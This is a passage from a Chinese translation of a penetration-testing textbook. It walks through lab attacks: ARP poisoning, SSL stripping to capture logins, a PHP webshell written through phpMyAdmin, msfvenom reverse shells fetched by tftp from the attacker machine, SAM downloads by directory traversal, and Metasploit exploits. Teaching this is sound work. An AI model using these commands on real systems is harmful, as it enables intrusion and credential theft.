现在，如果我们从 Ubuntu 目标浏览 www.gmail.com/，网址栏应该显示 www.gmail.com/，但实际上我们访问的是 Kali 机器的网页服务器，如图 7-11 所示。我们甚至可以通过克隆实际的 Gmail 网站（或攻击者选择的任何其他网站），让用户无法察觉差异，从而使这个攻击更加有趣。

图 7-11. 这不是 Gmail。

SSL 攻击

到目前为止，我们已经能够拦截加密流量，但还无法从加密连接中获取任何敏感信息。对于下一个攻击，我们将依赖用户愿意点击通过 SSL 证书警告，执行中间人攻击并从 SSL 连接中获取明文，而 SSL 连接用于加密流量，以防止被窃听者读取。

SSL 基础

SSL 的目标是提供合理的保障，确保在用户的浏览器与服务器之间传输的任何敏感信息（如凭证或信用卡号码）都是安全的——在传输过程中不会被恶意实体读取。为了证明连接是安全的，SSL 使用证书。当你浏览到一个启用了 SSL 的网站时，浏览器会要求该网站用 SSL 证书来证明其身份。该网站提供证书，浏览器进行验证。如果浏览器接受证书，它会通知服务器，服务器会返回一个数字签名的确认，然后 SSL 安全通信开始。

一个 SSL 证书包括一对加密密钥以及标识信息，如域名和拥有该网站的公司名称。服务器的 SSL 证书通常由证书颁发机构（CA）如 VeriSign 或 Thawte 进行认证。浏览器预装了一个受信任的 CA 列表，如果服务器的 SSL 证书得到受信任 CA 的认证，浏览器就可以建立安全连接。如果证书不被信任，用户将看到一个警告，基本意思是：“连接可能是安全的，但也可能不是。请自行决定是否继续。”

使用 Ettercap 进行 SSL 中间人攻击

在我们的 ARP 缓存中毒攻击中，我们将 Windows XP 和 Ubuntu 目标之间的流量进行了中间人攻击（以及 Ubuntu 目标和互联网之间的流量）。这些系统仍然能够相互通信，但我们的 Kali 系统能够捕获这些流量。我们可以对 SSL 流量执行相同的攻击。我们可以通过将流量重定向到[www.facebook.com](http://www.facebook.com)，使其从我们的 Kali 系统发送和接收，从而打破安全的 SSL 连接，这样我们就能拦截敏感信息。

在这个例子中，我们将使用 Ettercap，这是一款多功能的中间人攻击套件，除了能够进行 SSL 攻击外，还可以完成我们之前使用 Arpspoof 和 Dnsspoof 所执行的所有攻击。启动 Ettercap 之前，请关闭其他的欺骗工具。有关配置说明，请参见 Ettercap。

Ettercap 有多个界面，但在这个例子中我们将使用-T选项来选择基于文本的界面。使用-M选项，配合arp:remote / gateway/ /target/，可以在默认网关和 Linux 目标之间设置 ARP 缓存中毒攻击，如下所示。实际攻击与我们之前使用 Arpspoof 的操作方式相同。

root@kali:~# ettercap -Ti eth0 -M arp:remote /192.168.20.1/ /192.168.20.11/

运行 Ettercap 后，我们只需等待用户开始与基于 SSL 的 Web 服务器进行交互。切换到你的 Linux 目标，尝试使用 SSL 登录到一个网站。你应该会看到类似图 7-12 中的证书警告。

由于这是一个中间人攻击，SSL 会话的安全性无法得到验证。Ettercap 所提供的证书对于[www.facebook.com](http://www.facebook.com)无效，因此信任被破坏，如图 7-13 所示。

但安全警告并不会阻止所有用户。如果我们点击通过警告并输入凭据，Ettercap 会在将凭据转发到服务器之前以明文形式抓取它们，如下所示：

HTTP : 31.13.74.23:443 -> USER: georgia  PASS: password  INFO: https://www.facebook.com/

图 7-12。Facebook 无法验证。图 7-13。SSL 中间人攻击

SSL 剥离

当然，SSL 中间人攻击的问题在于用户必须点击通过 SSL 证书警告。根据浏览器的不同，这可能是一个繁琐的过程，用户很难忽视，有时甚至无法忽视。大多数读者可能会想到自己曾在某个时候点击通过了安全警告，尽管内心有更好的判断力仍然继续浏览页面。（比如我们的默认 Nessus 安装使用了 Tenable 的自签名证书，当你浏览到 Web 界面时会弹出证书错误。如果你选择按照该例子操作，你很可能决定点击通过该警告。）

很难说证书警告在阻止用户访问没有有效证书的 HTTPS 网站方面的效果如何。我曾进行过一些使用自签名 SSL 证书的社会工程学测试，成功率明显低于使用有效证书或者根本不使用 HTTPS 的情况。尽管有些用户确实点击通过并访问了这些网站，但更复杂的攻击可以让我们在不触发 SSL 连接被破坏的明显警告的情况下捕获明文信息。

使用 SSL 剥离时，我们通过中间人攻击拦截 HTTP 连接，在重定向到 SSL 之前，加入 SSL 功能，然后将数据包发送到 web 服务器。当 web 服务器回复时，SSL 剥离再次拦截流量，并移除 HTTPS 标签，然后将数据包发送到客户端。这个技术在图 7-14 中有示意。

图 7-14. SSL 剥离攻击

SSLstrip 的作者 Moxie Marlinspike 将证书警告称为 负面反馈，与会显示 HTTPS 在浏览器 URL 栏中时，表示会话有效的 正面反馈 相对。避免这种负面反馈对攻击的成功比包含正面反馈要重要得多，因为用户自然不太可能注意到 URL 显示 HTTP 而不是 HTTPS，而更容易注意到需要主动点击跳过的巨大证书警告。SSL 剥离通过再次进行中间人攻击来避免证书警告。

用户通常通过点击链接或 HTTP 302 重定向来遇到 HTTPS。大多数用户不会直接在浏览器中输入 www.facebook.com 或 www.facebook.com；他们通常输入 www.facebook.com，有时甚至只是输入 facebook.com。这就是为什么这种攻击可能发生的原因。SSLstrip 会自动添加 HTTPS，因此 Facebook 和 Kali 之间的 SSL 连接是有效的。SSLstrip 只是将连接切换回 HTTP，然后发送给原始请求者。没有证书警告。

使用 SSLstrip

工具 SSLstrip 实现了 SSL 剥离。在开始之前，我们需要设置一个 Iptables 规则，将发送到 80 端口的流量通过 SSLstrip。接下来，我们将在 8080 端口运行 SSLstrip，如下所示，然后重新启动 Arpspoof 并伪造默认网关。（详细步骤请参见使用 ARP 缓存投毒伪造默认网关。）

root@kali:# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

现在启动 SSLstrip，并通过 -l 标志告诉它监听 8080 端口。

root@kali:# sslstrip -l 8080

接下来，从你的 Linux 目标机浏览一个使用 SSL 的网站（尝试任何需要登录凭证的互联网网站），例如图 7-15 所示的 Twitter 登录页面。正如你所见，地址栏中的 HTTPS 已经被 HTTP 替换。

当你登录时，你的凭证会被 SSLstrip 以明文报告。（不，我的 Twitter 密码真的不是“password”。）

这个攻击比直接的 SSL 中间人攻击更加复杂。我们能够避免证书警告，因为服务器实际上是与 SSLstrip 完成 SSL 连接，而不是与浏览器连接。

2015-12-28 19:16:35,323 SECURE POST Data (twitter.com):
session%5Busername_or_email%5D=georgiaweidman&session%5Bpassword%5D=password&scribe_log=&redirect_after_login=%2F&authenticity_token=a26a0faf67c2e11e6738053c81beb4b8ffa45c6a

正如你所见，SSLstrip 报告了输入的凭证（georgiaweidman: password）为明文。

图 7-15. 启动 SSLstrip 的 Twitter 登录页面

总结

在本章中，我们通过操作网络流量，创造了一些有趣的结果。使用各种工具和技术，我们能够拦截在交换机网络中本不该看到的流量。我们利用 ARP 缓存中毒将交换机网络中的流量重定向到我们的 Kali 系统，并通过 DNS 缓存中毒将用户重定向到我们的 Web 服务器。我们使用 Ettercap 自动化了 SSL 中间人攻击，并且（假设用户点击通过警告）捕获明文中的敏感信息。最后，我们通过使用 SSL 剥离技术，使攻击更加复杂，避免了无效证书警告。

从本地网络捕获流量可以为我们的渗透测试提供有用的信息。例如，我们能够捕获 FTP 服务器的有效凭证，用于后续的攻击。

说到利用，开始吧。

第三部分：攻击

第八章。漏洞利用

在所有这些准备工作之后，我们终于可以开始有趣的部分了：漏洞利用。在渗透测试的漏洞利用阶段，我们对已发现的漏洞运行漏洞攻击，以获得对目标系统的访问。有些漏洞，比如默认密码的使用，利用起来非常简单，几乎感觉不到是在进行真正的漏洞利用。其他一些则复杂得多。

在本章中，我们将探讨如何利用在第六章中识别的漏洞来在目标机器上获取立足点。既然我们对该漏洞有了更多的背景知识，我们将回到我们的老朋友 MS08-067，那个在第四章中提到的漏洞。我们还将利用 Metasploit 模块来攻击 SLMail POP3 服务器中的问题。此外，我们将借助之前的入侵，绕过 Linux 目标的 FTP 服务器登录。我们还将利用 Linux 目标上 TikiWiki 安装中的漏洞，以及 Windows 目标上 XAMPP 安装中的一些默认密码问题。我们还将利用一个可读写的 NFS 共享，获取 SSH 密钥并作为有效用户登录，而无需知道密码。我们将与一个脆弱的 Web 服务器交互，通过一个非标准端口来利用目录遍历漏洞，下载系统文件。有关如何发现我们将用于利用的每个问题的复习，请回顾第六章。

重新审视 MS08-067

从第六章中我们知道，Windows XP 目标上的 SMB 服务器缺少 MS08-067 补丁。MS08-067 漏洞因其成功的利用而享有良好的声誉，相关的 Metasploit 模块被评为极佳。我们在第四章中以此漏洞作为示例，但通过前几章的知识，我们有了确凿的证据表明，该漏洞利用会导致入侵。

当我们在第四章查看windows/smb/ms08_067_netapi模块的选项时，我们看到了常见的RHOST和RPORT，以及SMBPIPE，该选项允许我们设置我们的漏洞利用所使用的管道。默认情况下是浏览器管道，但我们也可以使用SRVSRC。在第四章中，我们运行了 Metasploit 模块scanner/smb/pipe_auditor来枚举监听的 SMB 管道，并发现只有浏览器管道可用。因此，我们知道默认的SMBPIPE选项BROWSER是唯一有效的选项。

Metasploit 有效载荷

如我们在第四章中讨论的，载荷允许我们告诉被利用的系统代我们执行任务。虽然许多载荷是绑定 Shell（在目标机器的本地端口上监听）或反向 Shell（回调到攻击系统上的监听器），但其他载荷执行特定功能。例如，如果你在 iPhone 上运行载荷osx/armle/vibrate，手机会振动。还有一些载荷用于添加新用户帐户：linux/x86/adduser适用于 Linux 系统，windows/adduser适用于 Windows。我们可以使用windows/download_exec_https下载并执行文件，或使用windows/exec执行命令。我们甚至可以使用语音 API，让目标说出“Pwned”，通过windows/speak_pwned。

记住，我们可以通过在 Msfconsole 的根目录下输入show payloads来查看 Metasploit 中所有可用的载荷。在告诉 Metasploit 使用windows/smb/ms08_067_netapi模块后，输入此命令，以便只查看与 MS08-067 漏洞兼容的载荷。

在第四章中，我们使用了windows/shell_reverse_tcp，但在查看列表时，我们还看到了一个名为windows/shell/reverse_tcp的载荷。

windows/shell/reverse_tcp    normal  Windows Command Shell, Reverse TCP Stager
windows/shell_reverse_tcp    normal  Windows Command Shell, Reverse TCP Inline

这两种载荷使用反向连接创建 Windows 命令 Shell（在第四章中讨论过）。被利用的机器将通过载荷选项中指定的 IP 地址和端口回连到我们的 Kali 机器。任何列出的适用于windows/smb/ms08_067_netapi的载荷都能正常工作，但在不同的渗透测试场景中，你可能需要发挥创造力。

分阶段载荷

windows/shell/reverse_tcp载荷是分阶段的。如果我们将其与windows/smb/ms08_067_netapi漏洞一起使用，发送到 SMB 服务器的字符串并不包含所有创建反向 Shell 的指令。相反，它包含一个阶段载荷，其中只有足够的信息来回连攻击机器并请求 Metasploit 提供接下来的指令。当我们启动漏洞时，Metasploit 会为windows/shell/reverse_tcp载荷设置一个处理程序，以捕捉传入的反向连接并提供剩余的载荷——在这种情况下是反向 Shell——然后完成的载荷被执行，Metasploit 的处理程序捕捉到反向 Shell。载荷可用的内存空间可能有限，一些高级 Metasploit 载荷可能占用大量空间。分阶段载荷允许我们在不占用大量内存空间的情况下使用复杂的载荷。

内联载荷

windows/shell_reverse_tcp有效载荷是一种内联（inline）或单一（single）有效载荷。其攻击字符串包含了将反向 Shell 推送回攻击者机器所需的所有代码。虽然内联有效载荷比分阶段有效载荷占用更多空间，但它们更加稳定和一致，因为所有指令都包含在原始攻击字符串中。你可以通过模块名称的语法来区分内联有效载荷和分阶段有效载荷。例如，windows/shell/reverse_tcp或windows/meterpreter/bind_tcp是分阶段的，而windows/shell_reverse_tcp是内联的。

Meterpreter

Meterpreter 是为 Metasploit 项目编写的自定义有效载荷。它通过一种叫做反射式 DLL 注入（reflective dll injection）技术，直接加载到被利用的进程的内存中。因此，Meterpreter 完全驻留在内存中，不会写入磁盘。它运行在宿主进程的内存中，因此不需要启动新的进程，避免被入侵防御或入侵检测系统（IPS/IDS）注意到。Meterpreter 还使用传输层安全性（TLS）加密与 Metasploit 之间的通信。你可以将 Meterpreter 看作是一种 Shell，并且它还有一些附加的有用命令，比如hashdump，它允许我们获取本地 Windows 密码哈希。（我们将在第十三章研究后期利用时，详细了解更多 Meterpreter 命令。）

我们在第四章中看到，Metasploit 的默认有效载荷是windows/smb/ms08_067_netapi，其默认的负载是windows/meterpreter/reverse_tcp。这次我们将使用windows/meterpreter/reverse_tcp有效载荷配合我们的 MS08-067 漏洞。我们的有效载荷选项应该和之前使用的其他反向载荷相似。让我们设置好有效载荷并运行漏洞攻击，如示例 8-1 所示。

示例 8-1. 使用 Meterpreter 有效载荷利用 MS08-067 漏洞

msf  exploit(ms08_067_netapi) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(ms08_067_netapi) > **exploit**
[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending Stage to 192.168.20.10...
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:4312) at 2015-01-12 00:11:58 -0500

如输出所示，运行这个漏洞攻击应该会打开一个 Meterpreter 会话，我们将能够在后期利用中使用它。

利用 WebDAV 默认凭据

在第六章中，我们发现目标 Windows XP 上的 XAMPP 安装使用 WebDAV 文件夹的默认登录凭据来上传文件到 Web 服务器。这个问题允许我们使用 Cadaver（一款 WebDAV 命令行客户端）上传自己的页面到服务器，我们在第六章中使用它来验证这个漏洞。让我们创建一个简单的测试文件来上传：

root@kali:~# cat test.txt
test

现在使用凭据wampp:xampp通过 WebDAV 进行身份验证。

root@kali:~# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: **wampp**
Password:
dav:/webdav/>

最后，使用 WebDAV 的put命令将我们的test.txt文件上传到 Web 服务器。

dav:/webdav/> **put test.txt**
Uploading test.txt to `/webdav/test.txt':
Progress: [=============================>] 100.0% of 5 bytes succeeded.
dav:/webdav/>

如果你浏览到 /webdav/test.txt，你应该能看到我们已经成功将文本文件上传到网站，如图 8-1 所示。

图 8-1. 通过 WebDAV 上传的文件

在目标 Web 服务器上运行脚本

文本文件对我们并没有太大用处；如果我们能上传一个脚本并在 Web 服务器上执行它，那就更好了，这样我们就能在底层系统的 Apache Web 服务器上执行命令。如果 Apache 作为系统服务安装，它将具有系统级的权限，我们可以利用这些权限来获得对目标的最大控制。如果没有，Apache 将以启动它的用户的权限运行。无论哪种情况，你最终都能通过简单地将文件丢到 Web 服务器上，就获得对底层系统的相当控制。

让我们先确认我们的 WebDAV 用户是否被允许上传脚本到服务器。由于我们在第六章中找到了 phpMyAdmin 软件，说明这个 Web 服务器上安装了 XAMPP 软件，包括了 PHP。如果我们上传并执行一个 PHP 文件，我们应该能够通过 PHP 在系统上执行命令。

dav:/webdav/> **put test.php**
Uploading test.php to `/webdav/test.php':
Progress: [=============================>] 100.0% of 5 bytes succeeded.
dav:/webdav/>

注意

一些开放的 WebDAV 服务器允许上传文本文件，但会阻止脚本文件如 .asp 或 .php。不过幸运的是，这里并非如此，我们成功上传了 test.php。

上传 Msfvenom 有效载荷

除了上传我们创建的任何 PHP 脚本以在目标上执行任务外，我们还可以使用 Msfvenom 生成一个独立的 Metasploit 有效载荷上传到服务器。我们在第四章中简要使用了 Msfvenom，但如果你需要复习语法，可以输入 msfvenom -h 获取帮助。当你准备好时，使用 -l 选项列出所有可用的 PHP 有效载荷，如示例 8-2 所示。

示例 8-2. Metasploit PHP 有效载荷

root@kali:~# msfvenom -l payloads

    php/bind_perl❶               Listen for a connection and spawn a command
                                    shell via perl (persistent)
    php/bind_perl_ipv6            Listen for a connection and spawn a command
                                    shell via perl (persistent) over IPv6
    php/bind_php                  Listen for a connection and spawn a command
                                    shell via php
    php/bind_php_ipv6             Listen for a connection and spawn a command
                                    shell via php (IPv6)
    php/download_exec❷           Download an EXE from an HTTP URL and execute it
    php/exec                      Execute a single system command
    php/meterpreter/bind_tcp❸    Listen for a connection over IPv6, Run a
                                    meterpreter server in PHP
    php/meterpreter/reverse_tcp   Reverse PHP connect back stager with checks
                                    for disabled functions, Run a meterpreter
                                    server in PHP
    php/meterpreter_reverse_tcp   Connect back to attacker and spawn a
                                    Meterpreter server (PHP)
    php/reverse_perl              Creates an interactive shell via perl
    php/reverse_php               Reverse PHP connect back shell with checks
                                    for disabled functions
    php/shell_findsock

Msfvenom 给我们提供了几种选择：我们可以下载并在系统上执行一个文件 ❷，创建一个 shell ❶，或者甚至使用 Meterpreter ❸。任何这些有效载荷都能让我们控制系统，但我们选择使用 php/meterpreter/reverse_tcp。指定有效载荷后，我们可以使用 -o 来查看需要与之一起使用的选项，如下所示。

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp -o
[*] Options for payload/php/meterpreter/reverse_tcp

--*snip*--
    Name   Current Setting  Required  Description
    ----   ---------------  --------  -----------
    LHOST                   yes       The listen address
    LPORT  4444             yes       The listen port

如你所见，我们需要设置 LHOST 来告诉有效载荷要连接回的 IP 地址，此外我们还可以更改 LPORT 选项。因为这个有效载荷已经是 PHP 格式，我们可以在设置好选项后使用 -f 选项将其以原始格式输出，然后将原始 PHP 代码通过管道输出到一个带 .php 扩展名的文件中，上传到服务器，如下所示。

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2323 -f raw > meterpreter.php

现在我们使用 WebDAV 上传文件。

dav:/webdav/> **put meterpreter.php**
Uploading meterpreter.php to `/webdav/meterpreter.php':
Progress: [=============================>] 100.0% of 1317 bytes succeeded.

如同在第四章中所述，我们需要在 Msfconsole 中设置一个处理程序，以便在执行脚本之前捕获有效载荷（见示例 8-3）。

示例 8-3. 设置有效载荷处理程序

msf > **use multi/handler**
msf  exploit(handler) > **set payload php/meterpreter/reverse_tcp**❶
payload => php/meterpreter/reverse_tcp
msf  exploit(handler) > **set LHOST 192.168.20.9**❷
lhost => 192.168.20.9
msf  exploit(handler) > **set LPORT 2323**❸
lport => 2323
msf  exploit(handler) > **exploit**
[*] Started reverse handler on 192.168.20.9:2323
[*] Starting the payload handler...

在 Msfconsole 中使用 multi/handler，将有效载荷设置为 php/meterpreter/reverse_tcp ❶，并适当设置 LHOST ❷ 和 LPORT ❸ 以匹配生成的有效载荷。如果这个过程对你来说不熟悉，可以回顾一下使用 Msfvenom 创建独立有效载荷。

通过在 web 浏览器中打开上传的有效载荷来运行它，应该会为我们提供一个 Meterpreter 会话，当我们返回到 Msfconsole 时可以看到，如下所示。

[*] Sending stage (39217 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:2323 -> 192.168.20.10:1301) at 2015-01-07 17:27:44 -0500

meterpreter >

我们可以使用 Meterpreter 命令 getuid 来查看我们的会话在被利用的目标上具有什么权限。一般来说，我们获得的是我们利用的软件的权限。

meterpreter > **getuid**
BOOKXP\SYSTEM

我们现在拥有系统权限，这将使我们能够完全控制 Windows 系统。（出于这个原因，一般来说，允许 web 服务器软件拥有系统权限并不好。因为 XAMPP 的 Apache 服务器作为系统服务运行，我们可以完全访问底层系统。）

现在让我们看看我们 XAMPP 安装的另一个问题。

利用开放的 phpMyAdmin

上一节中利用的同一目标 XAMPP 平台也包括一个开放的 phpMyAdmin 安装，我们可以利用它在数据库服务器上运行命令。像 Apache 一样，我们的 MySQL 服务器将具有系统权限（如果它作为 Windows 服务安装）或启动 MySQL 进程的用户权限。通过访问 MySQL 数据库，我们可以执行类似于 WebDAV 攻击的攻击，并使用 MySQL 查询将脚本上传到 web 服务器。

要探索这个攻击，首先导航到 192.168.20.10/phpmyadmin，然后点击顶部的 SQL 标签。我们将使用 MySQL 编写一个脚本到 web 服务器上，利用它来获取远程 shell。我们将使用 SQL SELECT 语句将 PHP 脚本输出到 web 服务器上的文件，从而允许我们远程控制目标系统。我们将使用脚本 <?php system($_GET['cmd']); ?> 从 URL 中抓取 cmd 参数并通过 system() 命令执行它。

XAMPP 在 Windows 上的 Apache 默认安装位置是 C:\xampp\htodcs*。我们的命令语法是：SELECT "<script string>" into outfile "path_to_file_on_web_server*". 完整的命令如下所示：

SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"

注意

我们使用双反斜杠进行转义，这样就不会得到文件路径 C:xampphtdocsshell.php，否则我们将无法通过 web 服务器访问它。

图 8-2 显示了在 phpMyAdmin 的 SQL 控制台中输入的命令。

图 8-2. 执行 SQL 命令

在 phpMyAdmin 中运行完成的查询，然后浏览到新创建的文件 192.168.20.10/shell.php。该脚本应该会抛出错误 Warning: system() [function.system]: Cannot execute a blank command in C:\xampp\htdocs\shell.php on line 1，因为我们没有提供 cmd 参数。（回想一下，shell.php 从 URL 获取 cmd 参数，并通过 PHP 的 system() 命令执行它。）我们需要提供一个 cmd 参数，告诉脚本我们想在目标系统上运行的命令。例如，我们可以让 Windows XP 目标告诉我们它的网络信息，通过将 cmd 参数设置为 ipconfig，像这样：

http://192.168.20.10/shell.php?cmd=ipconfig

结果如图 8-3 所示。

图 8-3. 代码执行

使用 TFTP 下载文件

前面的步骤为我们提供了一个具有系统权限的 shell，我们通过上传一个更复杂的 PHP 脚本来“升级”它。但我们不需要创建一个非常长且复杂的 SQL SELECT 查询，我们可以在 Kali 机器上托管一个文件，然后使用我们的 PHP shell 将其拉取到 Web 服务器。在 Linux 系统中，我们可以使用 wget 从命令行下载文件。这个功能在 Windows 中显得格外缺失，但在 Windows XP 上我们可以使用 TFTP。让我们用它来上传上一节的 meterpreter.php。

注意

TFTP 不是唯一可以在非交互命令行访问下传输文件的方式。事实上，一些较新的 Windows 系统默认没有启用 TFTP。你还可以通过 -s 选项让 FTP 从文件中读取设置，或者在最新的 Windows 操作系统上使用脚本语言，如 Visual Basic 或 Powershell。

我们可以使用 Atftpd TFTP 服务器在我们的 Kali 系统上托管文件。以守护进程模式启动 Atftpd，从 meterpreter.php 脚本所在的位置提供文件。

root@kali:~# atftpd --daemon --bind-address 192.168.20.9 /tmp

在 shell.php 脚本中设置 cmd 参数，如下所示：

http://192.168.20.10/shell.php?cmd=tftp 192.168.20.9 get meterpreter.php
C:\\xampp\\htdocs\\meterpreter.php

这个命令应该会通过 TFTP 将 meterpreter.php 拉取到目标的 Apache 目录，如图 8-4 所示。

图 8-4. 通过 TFTP 传输文件

现在我们可以浏览到 192.168.20.10/meterpreter.php 来打开一个 Meterpreter shell。（在执行脚本之前，确保重新启动处理程序以捕捉 Meterpreter 连接。）正如你所看到的，尽管我们使用了不同于通过 WebDAV 上传文件的攻击方法，但最终我们到达了同一个地方：我们通过 Web 服务器利用其对 MySQL 服务器的访问权限上传文件，获得了一个 Meterpreter shell。

现在，让我们看看如何攻击 Windows XP 系统上的另一个 Web 服务器。

注意

这并不是我们利用数据库访问的唯一方式。例如，如果你发现了一个 Microsoft MS SQL 数据库，你可能能够使用 xp_cmdshell() 函数，它充当内建的系统命令行。出于安全考虑，这个函数在新版 MS SQL 中是禁用的，但具有管理员权限的用户应该能够重新启用它，从而在不上传任何东西的情况下获得 shell 访问权限。

下载敏感文件

请回顾第六章，我们在端口 3232 上的 Zervit 服务器存在一个目录遍历问题，允许我们在没有身份验证的情况下从远程系统下载文件。我们可以通过浏览器使用以下 URL 下载 Windows 的 boot.ini 配置文件（以及其他文件）：

http://192.168.20.10:3232/index.html?../../../../../../boot.ini

我们将利用这一能力提取包含密码哈希值（加密密码）的文件，这些文件可能与 Windows 以及已安装的服务有关。

下载配置文件

XAMPP 的默认安装位置是 C:\xampp，所以我们可以预计 FileZilla FTP 服务器的目录位于 C:\xampp\FileZillaFtp。通过对 FileZilla 进行一些在线研究，我们得知它将密码的 MD5 哈希值存储在 FileZilla Server.xml 配置文件中。根据这个文件中存储的 FTP 密码的强度，我们或许可以利用 MD5 哈希值恢复用户的明文 FTP 密码。

我们在第七章中已经捕获了 georgia 用户的密码，但我们的目标可能包含更多账户。让我们使用 Zervit 服务器从 192.168.20.10:3232/index.html?../../../../../../xampp/FileZillaFtp/FileZilla%20Server.xml 下载 FileZilla 配置文件。（注意，%20 是空格的十六进制编码。）你可以在示例 8-4 中看到文件的部分内容。

示例 8-4. FileZilla FTP 配置文件

<User Name="georgia">
<Option Name="Pass">5f4dcc3b5aa765d61d8327deb882cf99</Option>
<Option Name="Group"/>
<Option Name="Bypass server userlimit">0</Option>
<Option Name="User Limit">0</Option>
<Option Name="IP Limit">0</Option>
--*snip*--

正如你所看到的，配置文件中包含了两个用户账户（在用户名字段中）：georgia 和 newuser。现在我们所要做的就是根据存储的哈希值来找出他们的密码。

我们将在下一章讨论如何将密码哈希值还原为明文密码（包括 MD5 哈希）。

下载 Windows SAM

说到密码，除了 FTP 用户密码外，我们还可以尝试下载存储 Windows 哈希值的Windows 安全账户管理器（SAM）文件。由于 Windows Syskey 工具会使用 128 位 Rivest Cipher 4（RC4）加密 SAM 文件中的密码哈希值以提供额外的安全性，SAM 文件是经过混淆的。即使攻击者或渗透测试人员能够访问 SAM 文件，仍然需要一些额外的工作来恢复密码哈希值。我们需要一个密钥来解密哈希值中的 RC4 加密。Syskey 工具的加密密钥，称为启动密钥，存储在 Windows SYSTEM 文件中。我们需要下载 SAM 文件和 SYSTEM 文件，以便恢复哈希值并尝试将其转换为明文密码。在 Windows XP 中，这些文件位于C:\Windows\System32\config，所以我们可以尝试从以下 URL 下载 SAM 文件：

http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/system32/config/sam

当我们尝试使用 Zervit 下载此文件时，出现了“文件未找到”错误。看起来我们的 Zervit 服务器无法访问这个文件。幸运的是，Windows XP 会将 SAM 和 SYSTEM 文件备份到C:\Windows\repair 目录，如果我们尝试从那里下载文件，Zervit 就能够提供它们。这些 URL 应该能解决问题：

http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/system
http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/sam

注意

像我们的 MD5 哈希值一样，我们将在下一章深入讨论密码攻击时使用 Windows SAM 文件。

利用第三方软件中的缓冲区溢出

在第六章中，我们从未确切了解我们的 Windows XP 目标上的 SLMail 服务器是否容易受到 POP3 问题 CVE-2003-0264 的影响。SLMail 报告的版本号（5.5）似乎与该漏洞一致，所以我们来尝试利用它。相应的 Metasploit 模块，windows/pop3/seattlelab_pass，排名为优秀。（如此高的排名意味着如果失败，服务不太可能崩溃。）

Windows/pop3/seattlelab_pass 试图利用 POP3 服务器中的缓冲区溢出漏洞。使用它与设置 MS08-067 漏洞类似，如示例 8-5 所示。

示例 8-5。利用 Metasploit 攻击 SLMail 5.5 POP3

msf > **use windows/pop3/seattlelab_pass**
msf  exploit(seattlelab_pass) > **show payloads**

Compatible Payloads
===================

   Name                                         Disclosure Date  Rank    Description
   ----                                         ---------------  ----    -----------
   generic/custom                                                normal  Custom Payload
   generic/debug_trap                                            normal  Generic x86 Debug Trap
--*snip*--

msf  exploit(seattlelab_pass) > **set PAYLOAD windows/meterpreter/reverse_tcp**
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(seattlelab_pass) > **show options**

Module options (exploit/windows/pop3/seattlelab_pass):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.20.10    yes       The target address
   RPORT  110              yes       The target port

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows NT/2000/XP/2003 (SLMail 5.5)

msf  exploit(seattlelab_pass) > **set RHOST 192.168.20.10**
RHOST => 192.168.20.10
msf  exploit(seattlelab_pass) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(seattlelab_pass) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] Trying Windows NT/2000/XP/2003 (SLMail 5.5) using jmp esp at 5f4a358f
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 4 opened (192.168.20.9:4444 -> 192.168.20.10:1566) at 2015-01-07 19:57:22 -0500

meterpreter >

运行这个漏洞利用应该能让我们在 Windows XP 目标上获得另一个 Meterpreter 会话——这是控制系统的另一种方式。（在第十三章中，我们将看到在获得 Meterpreter 会话后该怎么做。）

利用第三方 Web 应用程序

在第六章中，我们对 Linux 目标使用了 Nikto 网络扫描器，发现了一个 TikiWiki CMS 软件版本 1.9.8 的安装，其中 graph_formula.php 脚本存在代码执行漏洞。在 Metasploit 中搜索 TikiWiki 返回了几个模块，正如在示例 8-6 中所示。

示例 8-6. TikiWiki 漏洞信息

msf  exploit(seattlelab_pass) > **search tikiwiki**

Matching Modules
================

   Name                                            Disclosure Date         Rank      Description
   ----                                            ---------------         ----      -----------
   --*snip*--
  ❶exploit/unix/webapp/tikiwiki_graph_formula_exec 2007-10-10 00:00:00 UTC excellent TikiWiki graph_
                                                                                       formula Remote
                                                                                       PHP Code
                                                                                       Execution
   exploit/unix/webapp/tikiwiki_jhot_exec          2006-09-02 00:00:00 UTC excellent TikiWiki jhot
                                                                                       Remote Command
                                                                                       Execution
--*snip*--

msf  exploit(seattlelab_pass) > **info unix/webapp/tikiwiki_graph_formula_exec**

       Name: TikiWiki tiki-graph_formula Remote PHP Code Execution
     Module: exploit/unix/webapp/tikiwiki_graph_formula_exec
  --*snip*--
  TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker
  to execute arbitrary PHP code. The issue is due to
  'tiki-graph_formula.php' script not properly sanitizing user input
  supplied to create_function(), which may allow a remote attacker to
  execute arbitrary PHP code resulting in a loss of integrity.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-5423
  http://www.osvdb.org/40478❷
  http://www.securityfocus.com/bid/26006

